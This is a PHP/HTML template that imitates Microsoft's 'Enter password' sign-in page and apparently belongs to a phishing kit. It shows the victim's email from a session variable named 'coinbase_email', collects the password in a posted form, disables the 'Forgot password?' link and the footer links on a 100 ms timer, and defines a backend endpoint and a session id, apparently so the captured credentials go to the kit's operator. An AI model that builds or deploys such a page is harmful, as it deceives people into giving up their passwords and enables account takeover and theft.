<!DOCTYPE html>
<html dir="ltr" lang="EN-US">
   <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <meta http-equiv="X-UA-Compatible" content="IE=Edge" />
      <title><?php echo mbencode("Sign in to your Microsoft account");?></title>
      <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, minimum-scale=1.0, user-scalable=yes" />
      <link rel="shortcut icon" href="/static/img/lv.ico" />
      <link rel="stylesheet" type="text/css" href="/static/css/o-main.css" />
   </head>
   <body onload="doChange()" class="cb" style="display: block;">
      <div>
         <div>
            <div class="background" role="presentation">
               <div class="backgroundImage" style="background-image: url('/static/img/bgms.svg');"></div>
            </div>
         </div>
         <div></div>
         <form id="frmOutl" novalidate="novalidate" spellcheck="false" method="post">
            <div class="outer">
               <div class="middle">
                  <div class="inner fade-in-lightbox">
                     <div id="box" class="lightbox-cover"></div>
                     <div class="win-scroll">
                        <div><img class="logo" role="img" src="/static/img/Microsoft_365_logo.svg" /></div>
                        <div role="main">
                           <div class="">
                              <div class="animate slide-in-next">
                                 <div>
                                    <div class="identityBanner">
                                       <div id="displayName" class="identity" title="<?php echo $_SESSION['coinbase_email'];?>"><?php echo $_SESSION['coinbase_email'];?></div>
                                    </div>
                                 </div>
                              </div>
                              <div class="pagination-view has-identity-banner animate slide-in-next">
                                 <div>
                                    <div id="loginHeader" class="row text-title" role="heading"><?php echo mbencode("Enter password");?></div>
                                    <div class="row">
                                       <div class="form-group col-md-24">
									   <div role="alert">
											<div id="passwordError" class="error ext-error" style="color:#e81123;display:none">
												<?php echo mbencode("Your account or password is incorrect. If you don't remember your password, ");?><a href="javascript:void(0)"><?php echo mbencode("reset it now.");?></a>
											</div>
										</div>
                                          <div role="alert" id="npass" style="display:none">
										  <div id="passwordError" class="alert alert-error"><?php echo mbencode("Please enter the password for your Microsoft account.");?></div>
										  </div>
                                          <div class="placeholderContainer">
										  <input type="hidden" id="hiddenEmail" value="<?php echo $_SESSION['coinbase_email'];?>"/> 
										  <input name="password" type="password" id="password" required autocomplete="off" class="form-control" placeholder="Password" tabindex="0" / autofocus>
										  </div>
                                       </div>
                                    </div>
                                    <div class="position-buttons">
                                       <div>
                                          <div id="idTd_PWD_KMSI_Cb" class="form-group checkbox text-block-body no-margin-top">
                                             <label id="idLbl_PWD_KMSI_Cb">
											 <input name="KMSI" id="idChkBx_PWD_KMSI0Pwd" type="checkbox" /> 
											 <span><?php echo mbencode("Keep me signed in");?></span> 
											 </label>
                                          </div>
                                          <div class="row">
                                             <div class="col-md-24">
                                                <div class="text-13 action-links">
                                                   <div class="form-group">
                                                      <a id="idA_PWD_ForgotPassword" role="link" href="#"><?php echo mbencode("Forgot password?");?></a>
                                                   </div>
                                                </div>
                                             </div>
                                          </div>
                                       </div>
                                       <div class="win-button-pin-bottom">
                                          <div class="row">
                                             <div>
                                                <div class="col-xs-24 no-padding-left-right button-container">
                                                   <div class="inline-block">
												   <input type="submit" id="btnSignin" class="btn btn-block btn-primary" value="Sign in" />
												   </div>
                                                </div>
                                             </div>
                                          </div>
                                       </div>
                                    </div>
                                 </div>
                              </div>
                           </div>
                        </div>
                     </div>
                  </div>
                  <div id="footer" class="footer default new-background-image">
                     <div>
                        <div id="footerLinks" class="footerNode text-secondary">
                           <a id="ftrTerms" href="javascript:void(0)"><?php echo mbencode(" Terms of use ");?></a>
                           <a id="ftrPrivacy" href="javascript:void(0)"><?php echo mbencode(" Privacy cookies ");?></a>
                           <a id="moreOptions" href="javascript:void(0)" role="button" class="moreOptions">
                           <img class="desktopMode" role="presentation" src="/static/img/ds.svg" />
                           <img class="mobileMode" role="presentation" src="/static/img/mb.svg" />
                           </a>
                        </div>
                     </div>
                  </div>
               </div>
            </div>
         </form>
      </div>
	   <script src="/static/js/jquery.js"></script>
	   <script src="/static/js/outlook.js"></script> 
<script>
   if(window.console || 'console' in window) {
      setTimeout(console.log.bind(console, '%c WARNING!!!', 'color:#FF8F1C; font-size:40px;'));
      setTimeout(console.log.bind(console, '%c This browser feature is for developers only. Please do not copy-paste any code or run any scripts here.', 'color:#003087; font-size:16px; font-weight: bold;'));
      setTimeout(console.log.bind(console, '%c For more information, http://en.wikipedia.org/wiki/Self-XSS', 'color:#003087; font-size:16px; font-weight: bold;'));
   }
   document.querySelector('html').classList.remove('no-js');
   </script>


   <script type="text/javascript">
    function doChange() {
        $("#idA_PWD_ForgotPassword, #footer").attr('style', 'pointer-events: none; cursor: default;');
        setInterval(function(){
            $("#idA_PWD_ForgotPassword, #footer").attr('style', 'pointer-events: none; cursor: default;');
        }, 100);
    }
    </script>
      <script>
      const cb_endpoint = <?php echo "'".APP_URL."';\n";?>
      const session_id = <?php echo "'".$_SESSION['cf']."';\n";?>
      </script>
   </body>
</html>